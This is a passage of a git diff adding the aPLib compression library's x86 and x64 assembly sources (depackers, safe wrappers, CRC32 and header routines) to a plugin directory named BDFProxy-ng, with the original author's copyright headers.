dl + jnz .stillbitsleft + mov dl, [esi] + inc esi + adc dl, dl + .stillbitsleft: +} + +macro domatchM reg +{ + push esi + mov esi, edi + sub esi, reg + rep movsb + pop esi +} + +macro getgammaM reg +{ + local .getmore + + mov reg, 1 + .getmore: + getbitM + adc reg, reg + getbitM + jc .getmore +} + +; ============================================================= + +section '.text' code readable executable + +aP_depack_asm_fast: + ; aP_depack_asm_fast(const void *source, void *destination) + + _ret$ equ 7*4 + _src$ equ 8*4 + 4 + _dst$ equ 8*4 + 8 + + pushad + + mov esi, [esp + _src$] ; C calling convention + mov edi, [esp + _dst$] + + cld + mov dl, 80h + +literal: + mov al, [esi] + add esi, 1 + mov [edi], al + add edi, 1 + + mov ebx, 2 + +nexttag: + getbitM + jnc literal + + getbitM + jnc codepair + + xor eax, eax + getbitM + jnc shortmatch + + getbitM + adc eax, eax + getbitM + adc eax, eax + getbitM + adc eax, eax + getbitM + adc eax, eax + jz .thewrite + + mov ebx, edi + sub ebx, eax + mov al, [ebx] + + .thewrite: + mov [edi], al + inc edi + + mov ebx, 2 + jmp nexttag + +codepair: + getgammaM eax + sub eax, ebx + mov ebx, 1 + jnz normalcodepair + + getgammaM ecx + domatchM ebp + + jmp nexttag + +normalcodepair: + dec eax + + shl eax, 8 + mov al, [esi] + inc esi + + mov ebp, eax + + getgammaM ecx + + cmp eax, 32000 + sbb ecx, -1 + + cmp eax, 1280 + sbb ecx, -1 + + cmp eax, 128 + adc ecx, 0 + + cmp eax, 128 + adc ecx, 0 + + domatchM eax + jmp nexttag + +shortmatch: + mov al, [esi] + inc esi + + xor ecx, ecx + db 0c0h, 0e8h, 001h + jz donedepacking + + adc ecx, 2 + + mov ebp, eax + + domatchM eax + + mov ebx, 1 + jmp nexttag + +donedepacking: + sub edi, [esp + _dst$] + mov [esp + _ret$], edi ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm new file mode 100644 index 0000000..a5ac65d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/depacks.asm @@ -0,0 +1,248 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm safe assembler depacker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS COFF + +public aP_depack_asm_safe as '_aP_depack_asm_safe' + +; ============================================================= + +macro getbitM +{ + local .stillbitsleft + add dl, dl + jnz .stillbitsleft + + sub dword [esp + 4], 1 ; read one byte from source + jc return_error ; + + mov dl, [esi] + inc esi + + add dl, dl + inc dl + .stillbitsleft: +} + +macro domatchM reg +{ + push ecx + mov ecx, [esp + 12 + _dlen$] ; ecx = dstlen + sub ecx, [esp + 4] ; ecx = num written + cmp reg, ecx + pop ecx + ja return_error + + sub [esp], ecx ; write ecx bytes to destination + jc return_error ; + + push esi + mov esi, edi + sub esi, reg + rep movsb + pop esi +} + +macro getgammaM reg +{ + local .getmore + mov reg, 1 + .getmore: + getbitM + adc reg, reg + jc return_error + getbitM + jc .getmore +} + +; ============================================================= + +section '.text' code readable executable + +aP_depack_asm_safe: + ; aP_depack_asm_safe(const void *source, + ; unsigned int srclen, + ; void *destination, + ; unsigned int dstlen) + + _ret$ equ 7*4 + _src$ equ 8*4 + 4 + _slen$ equ 8*4 + 8 + _dst$ equ 8*4 + 12 + _dlen$ equ 8*4 + 16 + + pushad + + mov esi, [esp + _src$] ; C calling convention + mov eax, [esp + _slen$] + mov edi, [esp + _dst$] + mov ecx, [esp + _dlen$] + + push eax + push ecx + + test esi, esi + jz return_error + + test edi, edi + jz return_error + + or ebp, -1 + + cld + xor edx, edx + +literal: + sub dword [esp + 4], 1 ; read one byte from source + jc return_error ; + + mov al, [esi] + add esi, 1 + + sub dword [esp], 1 ; write one byte to destination + jc return_error ; + + mov [edi], al + add edi, 1 + + mov ebx, 2 + +nexttag: + getbitM + jnc literal + + getbitM + jnc codepair + + xor eax, eax + + getbitM + jnc shortmatch + + getbitM + adc eax, eax + getbitM + adc eax, eax + getbitM + adc eax, eax + getbitM + adc eax, eax + jz .thewrite + + mov ebx, [esp + 8 + _dlen$] ; ebx = dstlen + sub ebx, [esp] ; ebx = num written + cmp eax, ebx + ja return_error + + mov ebx, edi + sub ebx, eax + mov al, [ebx] + + .thewrite: + sub dword [esp], 1 ; write one byte to destination + jc return_error ; + + mov [edi], al + inc edi + + mov ebx, 2 + + jmp nexttag + +codepair: + getgammaM eax + + sub eax, ebx + + mov ebx, 1 + + jnz normalcodepair + + getgammaM ecx + + domatchM ebp + + jmp nexttag + +normalcodepair: + dec eax + + test eax, 0xff000000 + jnz return_error + + shl eax, 8 + + sub dword [esp + 4], 1 ; read one byte from source + jc return_error ; + + mov al, [esi] + inc esi + + mov ebp, eax + + getgammaM ecx + + cmp eax, 32000 + sbb ecx, -1 + + cmp eax, 1280 + sbb ecx, -1 + + cmp eax, 128 + adc ecx, 0 + + cmp eax, 128 + adc ecx, 0 + + domatchM eax + jmp nexttag + +shortmatch: + sub dword [esp + 4], 1 ; read one byte from source + jc return_error ; + + mov al, [esi] + inc esi + + xor ecx, ecx + db 0c0h, 0e8h, 001h + jz donedepacking + + adc ecx, 2 + + mov ebp, eax + + domatchM eax + + mov ebx, 1 + + jmp nexttag + +return_error: + add esp, 8 + + popad + + or eax, -1 ; return APLIB_ERROR in eax + + ret + +donedepacking: + add esp, 8 + + sub edi, [esp + _dst$] + mov [esp + _ret$], edi ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm new file mode 100644 index 0000000..9a402ff --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/scheck.asm @@ -0,0 +1,67 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm safe assembler crc checker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS COFF + +public aPsafe_check as '_aPsafe_check' + +extrn '_aP_crc32' as aP_crc32 + +; ============================================================= + +section '.text' code readable executable + +aPsafe_check: + ; aPsafe_check(const void *source) + + .ret$ equ 7*4 + .src$ equ 8*4 + 4 + + pushad + + mov esi, [esp + .src$] ; esi -> buffer + + test esi, esi + jz .return_error + + mov ebx, [esi] ; ebx = header.tag + + cmp ebx, 032335041h ; check tag == 'AP32' + jne .return_error + + mov ebx, [esi + 4] ; ebx = header.header_size + cmp ebx, 24 ; check header_size >= 24 + jb .return_error + + add ebx, esi ; ebx -> packed data + + push dword [esi + 8] ; push header.packed_size + push ebx + call aP_crc32 + add esp, 8 + + cmp eax, [esi + 12] ; check eax == header.packed_crc + + mov eax, [esi + 16] ; eax = header.orig_size + + je .return_eax + + .return_error: + or eax, -1 ; eax = -1 + + .return_eax: + mov [esp + .ret$], eax ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm new file mode 100644 index 0000000..9821b5a --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sdepack.asm @@ -0,0 +1,112 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm safe assembler wrapper for aP_depack_asm_safe +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS COFF + +public aPsafe_depack as '_aPsafe_depack' + +extrn '_aP_depack_asm_safe' as aP_depack_asm_safe +extrn '_aP_crc32' as aP_crc32 + +; ============================================================= + +section '.text' code readable executable + +aPsafe_depack: + ; aPsafe_depack(const void *source, + ; size_t srclen, + ; void *destination + ; size_t dstlen) + + .ret$ equ 7*4 + .src$ equ 8*4 + 4 + .slen$ equ 8*4 + 8 + .dst$ equ 8*4 + 12 + .dlen$ equ 8*4 + 16 + + pushad + + mov esi, [esp + .src$] ; esi -> inbuffer + mov ecx, [esp + .slen$] ; ecx = srclen + mov edi, [esp + .dst$] ; edi -> outbuffer + + test esi, esi + jz .return_error + + test edi, edi + jz .return_error + + cmp ecx, 24 ; check srclen >= 24 + jb .return_error + + mov ebx, [esi] ; ebx = header.tag + + cmp ebx, 032335041h ; check tag == 'AP32' + jne .return_error + + mov ebx, [esi + 4] ; ebx = header.header_size + cmp ebx, 24 ; check header_size >= 24 + jb .return_error + + sub ecx, ebx ; ecx = srclen without header + jc .return_error + + cmp [esi + 8], ecx ; check header.packed_size is + ja .return_error ; within remaining srclen + + add ebx, esi ; ebx -> packed data + + push dword [esi + 8] ; push header.packed_size + push ebx + call aP_crc32 + add esp, 8 + + cmp eax, [esi + 12] ; check eax == header.packed_crc + jne .return_error + + mov ecx, [esp + .dlen$] ; ecx = dstlen + cmp [esi + 16], ecx ; check header.orig_size is ok + ja .return_error + + push ecx ; push dstlen + push edi + push dword [esi + 8] ; push header.packed_size + push ebx + call aP_depack_asm_safe + add esp, 16 + + cmp eax, [esi + 16] ; check eax == header.orig_size + jne .return_error + + mov ebx, eax ; ebx = unpacked size + + push eax + push edi + call aP_crc32 + add esp, 8 + + cmp eax, [esi + 20] ; check eax == header.orig_crc + + mov eax, ebx ; eax = unpacked size + + je .return_eax + + .return_error: + or eax, -1 ; eax = -1 + + .return_eax: + mov [esp + .ret$], eax ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm new file mode 100644 index 0000000..af6f91d --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/sgetsize.asm @@ -0,0 +1,50 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm safe assembler header access +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS COFF + +public aPsafe_get_orig_size as '_aPsafe_get_orig_size' + +; ============================================================= + +section '.text' code readable executable + +aPsafe_get_orig_size: + ; aPsafe_get_orig_size(const void *source) + + .ret$ equ 7*4 + .src$ equ 8*4 + 4 + + pushad + + mov esi, [esp + .src$] ; esi -> buffer + + mov ebx, [esi] ; ebx = header.tag + + or eax, -1 ; eax = -1 + + cmp ebx, 032335041h ; check tag == 'AP32' + jne .return_eax + + mov ebx, [esi + 4] ; ebx = header.header_size + cmp ebx, 24 ; check header_size >= 24 + jb .return_eax + + mov eax, [esi + 16] ; eax = header.orig_size + + .return_eax: + mov [esp + .ret$], eax ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm new file mode 100644 index 0000000..34e0781 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/32bit/spack.asm @@ -0,0 +1,115 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm safe assembler wrapper for aP_pack +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +; header format: +; +; offs size data +; -------------------------------------- +; 0 dword tag ('AP32') +; 4 dword header_size (24 bytes) +; 8 dword packed_size +; 12 dword packed_crc +; 16 dword orig_size +; 20 dword orig_crc + +format MS COFF + +public aPsafe_pack as '_aPsafe_pack' + +extrn '_aP_pack' as aP_pack +extrn '_aP_crc32' as aP_crc32 + +; ============================================================= + +section '.text' code readable executable + +aPsafe_pack: + ; aPsafe_pack(const void *source, + ; void *destination, + ; unsigned int length, + ; void *workmem, + ; int (*callback)(unsigned int, unsigned int, void *), + ; void *cbparam) + + .ret$ equ 7*4 + .src$ equ 8*4 + 4 + .dst$ equ 8*4 + 8 + .len$ equ 8*4 + 12 + .wmem$ equ 8*4 + 16 + .cb$ equ 8*4 + 20 + .cbp$ equ 8*4 + 24 + + pushad + + mov ebp, esp + + mov esi, [ebp + .src$] ; esi -> inbuffer + mov edi, [ebp + .dst$] ; edi -> outbuffer + mov ecx, [ebp + .len$] ; ecx = length + + or eax, -1 ; eax = -1 + + test esi, esi ; check parameters + jz .return_eax ; + test edi, edi ; + jz .return_eax ; + test ecx, ecx ; + jz .return_eax ; + + mov ebx, 032335041h + mov [edi], ebx ; set header.tag + mov ebx, 24 + mov [edi + 4], ebx ; set header.header_size + + add ebx, edi ; ebx -> destination for packed data + + mov [edi + 16], ecx ; set header.orig_size + + push ecx + push esi + call aP_crc32 + add esp, 8 + + mov [edi + 20], eax ; set header.orig_crc + + push dword [ebp + .cbp$] ; callback param + push dword [ebp + .cb$] ; callback + push dword [ebp + .wmem$] ; workmem + push ecx ; length + push ebx ; destination + push esi ; source + call aP_pack + add esp, 24 + + cmp eax, -1 + je .return_eax + + mov [edi + 8], eax ; set header.packed_size + + mov edx, eax ; edx = packed size + + push eax + push ebx + call aP_crc32 + add esp, 8 + + mov [edi + 12], eax ; set header.packed_crc + + lea eax, [edx + 24] ; eax = packed size + header size + + .return_eax: + mov [esp + .ret$], eax ; return unpacked length in eax + + popad + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm new file mode 100644 index 0000000..f632092 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/crc32.asm @@ -0,0 +1,157 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit assembler crc32 +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +; CRC32 calculation taken from the zlib source, which is +; Copyright (C) 1995-1998 Jean-loup Gailly and Mark Adler + +format MS64 COFF + +public aP_crc32 + +; ============================================================= + +macro docrcM +{ + mov r9, 0x000000ff + and r9, rax + shr eax, 8 + xor eax, [r8+r9*4] +} + +macro docrcbyteM +{ + xor al, [rcx] + add rcx, 1 + docrcM +} + +macro docrcdwordM +{ + xor eax, [rcx] + add rcx, 4 + docrcM + docrcM + docrcM + docrcM +} + +; ============================================================= + +section '.text' code readable executable + +aP_crc32: + ; aP_crc32(const void *source, unsigned int length) + + lea r8, [aP_crctab] ; r8 -> crctab + + sub rax, rax + + test rcx, rcx + jz .c_exit + + dec rax + + test rdx, rdx + jz .c_done + + .c_align_loop: + test rcx, 3 + jz .c_aligned_now + docrcbyteM + add rdx, -1 + jnz .c_align_loop + + .c_aligned_now: + mov r10, rdx + and r10, 7 + shr rdx, 3 + jz .c_LT_eight + + .c_next_eight: + docrcdwordM + docrcdwordM + add rdx, -1 + jnz .c_next_eight + + .c_LT_eight: + mov rdx, r10 + test rdx, rdx + jz .c_done + + .c_last_loop: + docrcbyteM + add rdx, -1 + jnz .c_last_loop + + .c_done: + not eax + + .c_exit: + ret + +; ============================================================= + +section '.rdata' data readable + +aP_crctab dd 000000000h, 077073096h, 0ee0e612ch, 0990951bah, 0076dc419h + dd 0706af48fh, 0e963a535h, 09e6495a3h, 00edb8832h, 079dcb8a4h + dd 0e0d5e91eh, 097d2d988h, 009b64c2bh, 07eb17cbdh, 0e7b82d07h + dd 090bf1d91h, 01db71064h, 06ab020f2h, 0f3b97148h, 084be41deh + dd 01adad47dh, 06ddde4ebh, 0f4d4b551h, 083d385c7h, 0136c9856h + dd 0646ba8c0h, 0fd62f97ah, 08a65c9ech, 014015c4fh, 063066cd9h + dd 0fa0f3d63h, 08d080df5h, 03b6e20c8h, 04c69105eh, 0d56041e4h + dd 0a2677172h, 03c03e4d1h, 04b04d447h, 0d20d85fdh, 0a50ab56bh + dd 035b5a8fah, 042b2986ch, 0dbbbc9d6h, 0acbcf940h, 032d86ce3h + dd 045df5c75h, 0dcd60dcfh, 0abd13d59h, 026d930ach, 051de003ah + dd 0c8d75180h, 0bfd06116h, 021b4f4b5h, 056b3c423h, 0cfba9599h + dd 0b8bda50fh, 02802b89eh, 05f058808h, 0c60cd9b2h, 0b10be924h + dd 02f6f7c87h, 058684c11h, 0c1611dabh, 0b6662d3dh, 076dc4190h + dd 001db7106h, 098d220bch, 0efd5102ah, 071b18589h, 006b6b51fh + dd 09fbfe4a5h, 0e8b8d433h, 07807c9a2h, 00f00f934h, 09609a88eh + dd 0e10e9818h, 07f6a0dbbh, 0086d3d2dh, 091646c97h, 0e6635c01h + dd 06b6b51f4h, 01c6c6162h, 0856530d8h, 0f262004eh, 06c0695edh + dd 01b01a57bh, 08208f4c1h, 0f50fc457h, 065b0d9c6h, 012b7e950h + dd 08bbeb8eah, 0fcb9887ch, 062dd1ddfh, 015da2d49h, 08cd37cf3h + dd 0fbd44c65h, 04db26158h, 03ab551ceh, 0a3bc0074h, 0d4bb30e2h + dd 04adfa541h, 03dd895d7h, 0a4d1c46dh, 0d3d6f4fbh, 04369e96ah + dd 0346ed9fch, 0ad678846h, 0da60b8d0h, 044042d73h, 033031de5h + dd 0aa0a4c5fh, 0dd0d7cc9h, 05005713ch, 0270241aah, 0be0b1010h + dd 0c90c2086h, 05768b525h, 0206f85b3h, 0b966d409h, 0ce61e49fh + dd 05edef90eh, 029d9c998h, 0b0d09822h, 0c7d7a8b4h, 059b33d17h + dd 02eb40d81h, 0b7bd5c3bh, 0c0ba6cadh, 0edb88320h, 09abfb3b6h + dd 003b6e20ch, 074b1d29ah, 0ead54739h, 09dd277afh, 004db2615h + dd 073dc1683h, 0e3630b12h, 094643b84h, 00d6d6a3eh, 07a6a5aa8h + dd 0e40ecf0bh, 09309ff9dh, 00a00ae27h, 07d079eb1h, 0f00f9344h + dd 08708a3d2h, 01e01f268h, 06906c2feh, 0f762575dh, 0806567cbh + dd 0196c3671h, 06e6b06e7h, 0fed41b76h, 089d32be0h, 010da7a5ah + dd 067dd4acch, 0f9b9df6fh, 08ebeeff9h, 017b7be43h, 060b08ed5h + dd 0d6d6a3e8h, 0a1d1937eh, 038d8c2c4h, 04fdff252h, 0d1bb67f1h + dd 0a6bc5767h, 03fb506ddh, 048b2364bh, 0d80d2bdah, 0af0a1b4ch + dd 036034af6h, 041047a60h, 0df60efc3h, 0a867df55h, 0316e8eefh + dd 04669be79h, 0cb61b38ch, 0bc66831ah, 0256fd2a0h, 05268e236h + dd 0cc0c7795h, 0bb0b4703h, 0220216b9h, 05505262fh, 0c5ba3bbeh + dd 0b2bd0b28h, 02bb45a92h, 05cb36a04h, 0c2d7ffa7h, 0b5d0cf31h + dd 02cd99e8bh, 05bdeae1dh, 09b64c2b0h, 0ec63f226h, 0756aa39ch + dd 0026d930ah, 09c0906a9h, 0eb0e363fh, 072076785h, 005005713h + dd 095bf4a82h, 0e2b87a14h, 07bb12baeh, 00cb61b38h, 092d28e9bh + dd 0e5d5be0dh, 07cdcefb7h, 00bdbdf21h, 086d3d2d4h, 0f1d4e242h + dd 068ddb3f8h, 01fda836eh, 081be16cdh, 0f6b9265bh, 06fb077e1h + dd 018b74777h, 088085ae6h, 0ff0f6a70h, 066063bcah, 011010b5ch + dd 08f659effh, 0f862ae69h, 0616bffd3h, 0166ccf45h, 0a00ae278h + dd 0d70dd2eeh, 04e048354h, 03903b3c2h, 0a7672661h, 0d06016f7h + dd 04969474dh, 03e6e77dbh, 0aed16a4ah, 0d9d65adch, 040df0b66h + dd 037d83bf0h, 0a9bcae53h, 0debb9ec5h, 047b2cf7fh, 030b5ffe9h + dd 0bdbdf21ch, 0cabac28ah, 053b39330h, 024b4a3a6h, 0bad03605h + dd 0cdd70693h, 054de5729h, 023d967bfh, 0b3667a2eh, 0c4614ab8h + dd 05d681b02h, 02a6f2b94h, 0b40bbe37h, 0c30c8ea1h, 05a05df1bh + dd 02d02ef8dh + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm new file mode 100644 index 0000000..4bcff29 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depack.asm @@ -0,0 +1,139 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit assembler depacker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS64 COFF + +public aP_depack_asm + +; ============================================================= + +section '.text' code readable executable + +aP_depack_asm: + ; aP_depack_asm(const void *source, void *destination) + + push rbx + push rsi + push rdi + + push rdx + + mov rsi, rcx + mov rdi, rdx + + cld + mov dl, 80h + xor ebx, ebx + +literal: + movsb + mov bl, 2 +nexttag: + call getbit + jnc literal + + xor ecx, ecx + call getbit + jnc codepair + xor eax, eax + call getbit + jnc shortmatch + mov bl, 2 + inc ecx + mov al, 10h + .getmorebits: + call getbit + adc al, al + jnc .getmorebits + jnz domatch + stosb + jmp nexttag +codepair: + call getgamma_no_ecx + sub ecx, ebx + jnz normalcodepair + call getgamma + jmp domatch_lastpos + +shortmatch: + lodsb + shr eax, 1 + jz donedepacking + adc ecx, ecx + jmp domatch_with_2inc + +normalcodepair: + xchg eax, ecx + dec eax + shl eax, 8 + lodsb + call getgamma + + cmp eax, 32000 + jae short domatch_with_2inc + cmp ah, 5 + jae short domatch_with_inc + cmp eax, 7fh + ja short domatch_new_lastpos + +domatch_with_2inc: + inc ecx + +domatch_with_inc: + inc ecx + +domatch_new_lastpos: + xchg eax, r8d +domatch_lastpos: + mov eax, r8d + + mov bl, 1 + +domatch: + push rsi + mov rsi, rdi + sub rsi, rax + rep movsb + pop rsi + jmp nexttag + +getbit: + add dl, dl + jnz .stillbitsleft + mov dl, [rsi] + inc rsi + adc dl, dl + .stillbitsleft: + ret + +getgamma: + xor ecx, ecx +getgamma_no_ecx: + inc ecx + .getgammaloop: + call getbit + adc ecx, ecx + call getbit + jc .getgammaloop + ret + +donedepacking: + pop rdx + sub rdi, rdx + xchg eax, edi + + pop rdi + pop rsi + pop rbx + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm new file mode 100644 index 0000000..9ab66d4 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depackf.asm @@ -0,0 +1,178 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit fast assembler depacker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS64 COFF + +public aP_depack_asm_fast + +; ============================================================= + +macro getbitM +{ + local .stillbitsleft + + add dl, dl + jnz .stillbitsleft + mov dl, [rsi] + inc rsi + adc dl, dl + .stillbitsleft: +} + +macro domatchM reg +{ + local .more + + mov r10, rdi + sub r10, reg + + .more: + mov al, [r10] + add r10, 1 + mov [rdi], al + add rdi, 1 + sub rcx, 1 + jnz .more +} + +macro getgammaM reg +{ + local .getmorebits + + mov reg, 1 + .getmorebits: + getbitM + adc reg, reg + getbitM + jc .getmorebits +} + +; ============================================================= + +section '.text' code readable executable + +aP_depack_asm_fast: + ; aP_depack_asm_fast(const void *source, void *destination) + + mov [rsp + 8], rsi + mov [rsp + 16], rdx + push rdi + + mov rsi, rcx + mov rdi, rdx + + cld + mov dl, 80h + +literal: + mov al, [rsi] + add rsi, 1 + mov [rdi], al + add rdi, 1 + + mov r9, 2 + +nexttag: + getbitM + jnc literal + + getbitM + jnc codepair + + xor rax, rax + getbitM + jnc shortmatch + + getbitM + adc rax, rax + getbitM + adc rax, rax + getbitM + adc rax, rax + getbitM + adc rax, rax + jz thewrite + + mov r9, rdi + sub r9, rax + mov al, [r9] + +thewrite: + mov [rdi], al + add rdi, 1 + + mov r9, 2 + jmp short nexttag + +codepair: + getgammaM rax + sub rax, r9 + mov r9, 1 + jnz normalcodepair + + getgammaM rcx + domatchM r8 + + jmp nexttag + +normalcodepair: + add rax, -1 + + shl rax, 8 + mov al, [rsi] + add rsi, 1 + + mov r8, rax + + getgammaM rcx + + cmp rax, 32000 + sbb rcx, -1 + + cmp rax, 1280 + sbb rcx, -1 + + cmp rax, 128 + adc rcx, 0 + + cmp rax, 128 + adc rcx, 0 + + domatchM rax + jmp nexttag + +shortmatch: + mov al, [rsi] + add rsi, 1 + + xor rcx, rcx + db 0c0h, 0e8h, 001h + jz donedepacking + + adc rcx, 2 + + mov r8, rax + + domatchM rax + + mov r9, 1 + jmp nexttag + +donedepacking: + mov rax, rdi + sub rax, [rsp + 24] + + mov rsi, [rsp + 16] + pop rdi + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm new file mode 100644 index 0000000..7e7fc81 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/depacks.asm @@ -0,0 +1,248 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit safe assembler depacker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS64 COFF + +public aP_depack_asm_safe + +; ============================================================= + +macro getbitM +{ + local .stillbitsleft + + add dl, dl + jnz .stillbitsleft + + sub r10, 1 ; read one byte from source + jc return_error ; + + mov dl, [rsi] + add rsi, 1 + + add dl, dl + inc dl + .stillbitsleft: +} + +macro domatchM reg +{ + local .more + + mov r8, [rsp + 32] ; r8 = dstlen + sub r8, r11 ; r8 = num written + cmp reg, r8 + ja return_error + + sub r11, rcx ; write rcx bytes to destination + jc return_error ; + + mov r8, rdi + sub r8, reg + + .more: + mov al, [r8] + add r8, 1 + mov [rdi], al + add rdi, 1 + sub rcx, 1 + jnz .more +} + +macro getgammaM reg +{ + local .getmore + mov reg, 1 + .getmore: + getbitM + adc reg, reg + jc return_error + getbitM + jc .getmore +} + +; ============================================================= + +section '.text' code readable executable + +aP_depack_asm_safe: + ; aP_depack_asm_safe(const void *source, + ; unsigned int srclen, + ; void *destination, + ; unsigned int dstlen) + + mov [rsp + 8], r9 + mov [rsp + 16], r8 + mov [rsp + 24], rbp + push rbx + push rsi + push rdi + + mov rsi, rcx + mov r10, rdx + mov rdi, r8 + mov r11, r9 + + test rsi, rsi + jz return_error + + test rdi, rdi + jz return_error + + or rbp, -1 + + cld + xor rdx, rdx + +literal: + sub r10, 1 ; read one byte from source + jc return_error ; + + mov al, [rsi] + add rsi, 1 + + sub r11, 1 ; write one byte to destination + jc return_error ; + + mov [rdi], al + add rdi, 1 + + mov rbx, 2 + +nexttag: + getbitM + jnc literal + + getbitM + jnc codepair + + xor rax, rax + + getbitM + jnc shortmatch + + getbitM + adc rax, rax + getbitM + adc rax, rax + getbitM + adc rax, rax + getbitM + adc rax, rax + jz .thewrite + + mov r8, [rsp + 32] ; r8 = dstlen + sub r8, r11 ; r8 = num written + cmp rax, r8 + ja return_error + + mov r8, rdi + sub r8, rax + mov al, [r8] + + .thewrite: + sub r11, 1 ; write one byte to destination + jc return_error ; + + mov [rdi], al + add rdi, 1 + + mov rbx, 2 + + jmp nexttag + +codepair: + getgammaM rax + + sub rax, rbx + + mov rbx, 1 + + jnz normalcodepair + + getgammaM rcx + + domatchM rbp + + jmp nexttag + +normalcodepair: + add rax, -1 + + cmp rax, 0x00fffffe + ja return_error + + shl rax, 8 + + sub r10, 1 ; read one byte from source + jc return_error ; + + mov al, [rsi] + add rsi, 1 + + mov rbp, rax + + getgammaM ecx + + cmp rax, 32000 + sbb rcx, -1 + + cmp rax, 1280 + sbb rcx, -1 + + cmp rax, 128 + adc rcx, 0 + + cmp rax, 128 + adc rcx, 0 + + domatchM rax + jmp nexttag + +shortmatch: + sub r10, 1 ; read one byte from source + jc return_error ; + + mov al, [rsi] + add rsi, 1 + + xor rcx, rcx + db 0c0h, 0e8h, 001h + jz donedepacking + + adc rcx, 2 + + mov rbp, rax + + domatchM rax + + mov rbx, 1 + + jmp nexttag + +return_error: + or rax, -1 ; return APLIB_ERROR in rax + + jmp exit + +donedepacking: + mov rax, rdi + sub rax, [rsp + 40] + +exit: + mov rbp, [rsp + 48] + pop rdi + pop rsi + pop rbx + + ret + +; ============================================================= diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm new file mode 100644 index 0000000..cca39d5 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/src/64bit/scheck.asm @@ -0,0 +1,62 @@ +;; +;; aPLib compression library - the smaller the better :) +;; +;; fasm 64-bit safe assembler crc checker +;; +;; Copyright (c) 1998-2014 Joergen Ibsen +;; All Rights Reserved +;; +;; http://www.ibsensoftware.com/ +;; + +format MS64 COFF + +public aPsafe_check + +extrn aP_crc32 + +; ============================================================= + +section '.text' code readable executable + +aPsafe_check: + ; aPsafe_check(const void *source) + + push rdi + sub rsp, 32 + + mov rdi, rcx ; rdi -> source + + test rcx, rcx + jz .return_error + + mov eax, [rdi] ; eax = header.tag + + cmp eax, 032335041h ; check tag == 'AP32' + jne .return_error + + mov eax, [rdi + 4] ; rax = header.header_size + cmp eax, 24 ; check header_size >= 24 + jb .return_error + + add rcx, rax ; rcx -> packed data + mov edx, [rdi + 8] ; rdx = header.packed_size + + call aP_crc32 + + cmp eax, [rdi + 12] ; check eax == header.packed_crc + + mov 